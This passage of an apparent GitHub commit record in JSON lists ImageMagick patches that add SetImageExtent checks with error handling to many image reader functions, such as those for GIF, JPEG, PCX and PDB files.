(image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Initialize image structure.\n */"}<_**next**_>{"sha": "6e102f2f016cbb03569da8094d483f8a64689069", "filename": "coders/fpx.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/fpx.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/fpx.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/fpx.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -352,6 +352,12 @@ static Image *ReadFPXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n FPX_ClearSystem();\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Allocate memory for the image and pixel buffer.\n */"}<_**next**_>{"sha": "6a2763b3f89adcbe12bba790cd55ade35f4b2139", "filename": "coders/gif.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/gif.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/gif.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/gif.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1350,6 +1350,12 @@ static Image *ReadGIFImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Decode image.\n */"}<_**next**_>{"sha": "b57a428c7dd1c6aaf4f0e404a2c8e1c73bf25af5", "filename": "coders/gray.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/gray.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/gray.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/gray.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -187,6 +187,12 @@ static Image *ReadGRAYImage(const ImageInfo *image_info,\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n SetImageColorspace(image,GRAYColorspace);\n if (scene == 0)\n {"}<_**next**_>{"sha": "43b612939cb7151f857aa1a54b7804099e734ca3", "filename": "coders/hald.c", "status": "modified", "additions": 7, "deletions": 2, "changes": 9, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/hald.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/hald.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/hald.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -125,6 +125,12 @@ static Image *ReadHALDImage(const ImageInfo *image_info,\n cube_size=level*level;\n image->columns=(size_t) (level*cube_size);\n image->rows=(size_t) (level*cube_size);\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n for (y=0; y < (ssize_t) image->rows; y+=(ssize_t) level)\n {\n ssize_t\n@@ -137,8 +143,7 @@ static Image *ReadHALDImage(const ImageInfo *image_info,\n \n if (status == MagickFalse)\n continue;\n- q=QueueAuthenticPixels(image,0,y,image->columns,(size_t) level,\n- exception);\n+ q=QueueAuthenticPixels(image,0,y,image->columns,(size_t) level,exception);\n if (q == (PixelPacket *) NULL)\n {\n status=MagickFalse;"}<_**next**_>{"sha": "ca27801ddb08157ca4546776d7f7fa847c2a4405", "filename": "coders/hdr.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/hdr.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/hdr.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/hdr.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -382,6 +382,12 @@ static Image *ReadHDRImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Read RGBE (red+green+blue+exponent) pixels.\n */"}<_**next**_>{"sha": "19d8516fe2dc44a3c3bc7738eee95ed8a9afff74", "filename": "coders/hrz.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/hrz.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/hrz.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/hrz.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -142,6 +142,12 @@ static Image *ReadHRZImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->columns=256;\n image->rows=240;\n image->depth=8;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n pixels=(unsigned char *) AcquireQuantumMemory(image->columns,3*\n sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)"}<_**next**_>{"sha": "d9572c7e3fdc2f9b73f0d2ca240d4e1149506bdf", "filename": "coders/icon.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/icon.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/icon.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/icon.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -462,6 +462,12 @@ static Image *ReadICONImage(const ImageInfo *image_info,\n (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n bytes_per_line=(((image->columns*icon_info.bits_per_pixel)+31) &\n ~31) >> 3;\n (void) bytes_per_line;"}<_**next**_>{"sha": "70161f77b2cc25c279e99a7924e2af484036b9d3", "filename": "coders/ipl.c", "status": "modified", "additions": 7, "deletions": 1, "changes": 8, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/ipl.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/ipl.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/ipl.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -315,9 +315,15 @@ static Image *ReadIPLImage(const ImageInfo *image_info,ExceptionInfo *exception)\n {\n SetHeaderFromIPL(image, &ipl_info);\n \n- if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n+ if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n printf(\"Length: %.20g, Memory size: %.20g\\n\", (double) length,(double)\n image->depth);"}<_**next**_>{"sha": "ea7465feb3489117c16af07f6f25b13bfc9e27ce", "filename": "coders/jbig.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/jbig.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/jbig.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/jbig.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -219,6 +219,12 @@ static Image *ReadJBIGImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert X bitmap image to pixel packets.\n */"}<_**next**_>{"sha": "d9314f3e0583a472156fe457883fd54aa54e5abd", "filename": "coders/jp2.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/jp2.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/jp2.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/jp2.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -398,6 +398,12 @@ static Image *ReadJP2Image(const ImageInfo *image_info,ExceptionInfo *exception)\n image->columns=(size_t) jp2_image->comps[0].w;\n image->rows=(size_t) jp2_image->comps[0].h;\n image->depth=jp2_image->comps[0].prec;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n image->compression=JPEG2000Compression;\n if (jp2_image->numcomps <= 2)\n {"}<_**next**_>{"sha": "8f1b9f5a06b7f053a1ea425e7410edf9a27c49d5", "filename": "coders/jpeg.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/jpeg.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/jpeg.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/jpeg.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1263,6 +1263,12 @@ static Image *ReadJPEGImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n memory_info=AcquireVirtualMemory((size_t) image->columns,\n jpeg_info.output_components*sizeof(*jpeg_pixels));\n if (memory_info == (MemoryInfo *) NULL)"}<_**next**_>{"sha": "2849276d715bbd35ac1f155979d402a7aec95b6c", "filename": "coders/label.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/label.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/label.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/label.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -213,6 +213,12 @@ static Image *ReadLABELImage(const ImageInfo *image_info,\n draw_info->stroke_width+0.5);\n if (image->rows == 0)\n image->rows=(size_t) (draw_info->pointsize+draw_info->stroke_width+0.5);\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (draw_info->gravity == UndefinedGravity)\n {\n (void) FormatLocaleString(geometry,MaxTextExtent,\"%+g%+g\","}<_**next**_>{"sha": "19cd69f0a91879d1f458fc8dcf3f53e1afa551b5", "filename": "coders/mac.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mac.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mac.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/mac.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -156,6 +156,12 @@ static Image *ReadMACImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert MAC raster image to pixel packets.\n */"}<_**next**_>{"sha": "bef4a9d28e2515445ef5f8804a0b309cf00ebe6c", "filename": "coders/map.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/map.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/map.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/map.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -206,6 +206,12 @@ static Image *ReadMAPImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Read image pixels.\n */"}<_**next**_>{"sha": "234eefb2e891471b2fe0eb4405edd9a629937615", "filename": "coders/mat.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mat.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mat.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/mat.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -874,6 +874,12 @@ RestoreMSCWarning\n image->rows = temp;\n goto done_reading; /* !!!!!! BAD !!!! */\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n \n /* ----- Load raster data ----- */\n BImgBuff = (unsigned char *) AcquireQuantumMemory((size_t) (ldblk),sizeof(unsigned char)); /* Ldblk was set in the check phase */"}<_**next**_>{"sha": "5ec430472c44cefb189e9830c9eb2c1005433feb", "filename": "coders/miff.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/miff.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/miff.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/miff.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1246,6 +1246,12 @@ static Image *ReadMIFFImage(const ImageInfo *image_info,\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Allocate image pixels.\n */"}<_**next**_>{"sha": "d9fd11a5b926f58ef223b287a8cf1608fdce9618", "filename": "coders/mono.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mono.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mono.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/mono.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -154,6 +154,12 @@ static Image *ReadMONOImage(const ImageInfo *image_info,\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert bi-level image to pixel packets.\n */"}<_**next**_>{"sha": "7e9eaab4417abdaad28c93cfeeadeaf79ef48a56", "filename": "coders/mpc.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mpc.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mpc.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/mpc.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -929,6 +929,12 @@ static Image *ReadMPCImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Attach persistent pixel cache.\n */"}<_**next**_>{"sha": "de3efc8fd70fee16078acfd00245754fb0d3ed45", "filename": "coders/mtv.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mtv.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mtv.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/mtv.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -158,6 +158,12 @@ static Image *ReadMTVImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert MTV raster image to pixel packets.\n */"}<_**next**_>{"sha": "663579756583eea2b41675acea6c39ccbb505db6", "filename": "coders/mvg.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mvg.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/mvg.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/mvg.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -190,6 +190,12 @@ static Image *ReadMVGImage(const ImageInfo *image_info,ExceptionInfo *exception)\n DefaultResolution;\n image->columns=(size_t) (draw_info->affine.sx*image->columns);\n image->rows=(size_t) (draw_info->affine.sy*image->rows);\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (SetImageBackgroundColor(image) == MagickFalse)\n {\n InheritException(exception,&image->exception);"}<_**next**_>{"sha": "a0f10869916c50fcbe867a96d8c0c040fc1095e0", "filename": "coders/null.c", "status": "modified", "additions": 9, "deletions": 0, "changes": 9, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/null.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/null.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/null.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -99,6 +99,9 @@ static Image *ReadNULLImage(const ImageInfo *image_info,\n Image\n *image;\n \n+ MagickBooleanType\n+ status;\n+\n MagickPixelPacket\n background;\n \n@@ -129,6 +132,12 @@ static Image *ReadNULLImage(const ImageInfo *image_info,\n image->columns=1;\n if (image->rows == 0)\n image->rows=1;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n image->matte=MagickTrue;\n GetMagickPixelPacket(image,&background);\n background.opacity=(MagickRealType) TransparentOpacity;"}<_**next**_>{"sha": "5b20164fddaa7f4f2fc7f7f6b16070413c5856c4", "filename": "coders/otb.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/otb.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/otb.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/otb.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -168,6 +168,12 @@ static Image *ReadOTBImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Convert bi-level image to pixel packets.\n */"}<_**next**_>{"sha": "0d4c4db7c791cf4d1addf11ae57d1a186ce45067", "filename": "coders/palm.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/palm.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/palm.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/palm.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -329,6 +329,12 @@ static Image *ReadPALMImage(const ImageInfo *image_info,\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if ((image->columns == 0) || (image->rows == 0))\n ThrowReaderException(CorruptImageError,\"NegativeOrZeroImageSize\");\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n bytes_per_row=ReadBlobMSBShort(image);\n flags=ReadBlobMSBShort(image);\n bits_per_pixel=(size_t) ReadBlobByte(image);"}<_**next**_>{"sha": "3a0779f1f5a4ccf31603fe22dfbe767d904beee7", "filename": "coders/pango.c", "status": "modified", "additions": 8, "deletions": 2, "changes": 10, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pango.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pango.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/pango.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -375,11 +375,17 @@ static Image *ReadPANGOImage(const ImageInfo *image_info,\n (image->y_resolution == 0.0 ? 90.0 : image->y_resolution)+45.0)/90.0+\n 0.5));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Render markup.\n */\n- stride=(size_t) cairo_format_stride_for_width(CAIRO_FORMAT_ARGB32,\n- (int) image->columns);\n+ stride=(size_t) cairo_format_stride_for_width(CAIRO_FORMAT_ARGB32,(int)\n+ image->columns);\n pixel_info=AcquireVirtualMemory(image->rows,stride*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n {"}<_**next**_>{"sha": "c8ed3f1bb24518d648dda4cfb4dc99cd31830273", "filename": "coders/pcd.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pcd.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pcd.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/pcd.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -594,6 +594,12 @@ static Image *ReadPCDImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->columns<<=1;\n image->rows<<=1;\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Allocate luma and chroma memory.\n */"}<_**next**_>{"sha": "d2f2c56409f7a627e56563f4d2a88df3ec482bb1", "filename": "coders/pcx.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pcx.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pcx.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/pcx.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -395,6 +395,12 @@ static Image *ReadPCXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Read image data.\n */"}<_**next**_>{"sha": "a65bc9a0423e5e20ee942d22d1ed1fd901de7f02", "filename": "coders/pdb.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pdb.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pdb.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/pdb.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -402,6 +402,12 @@ static Image *ReadPDBImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n packets=(bits_per_pixel*image->columns+7)/8;\n pixels=(unsigned char *) AcquireQuantumMemory(packets+256UL,image->rows*\n sizeof(*pixels));"}<_**next**_>{"sha": "cad922f93b077075e1b9da429608a22b8bf13e14", "filename": "coders/pict.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/pict.c", "raw_url": 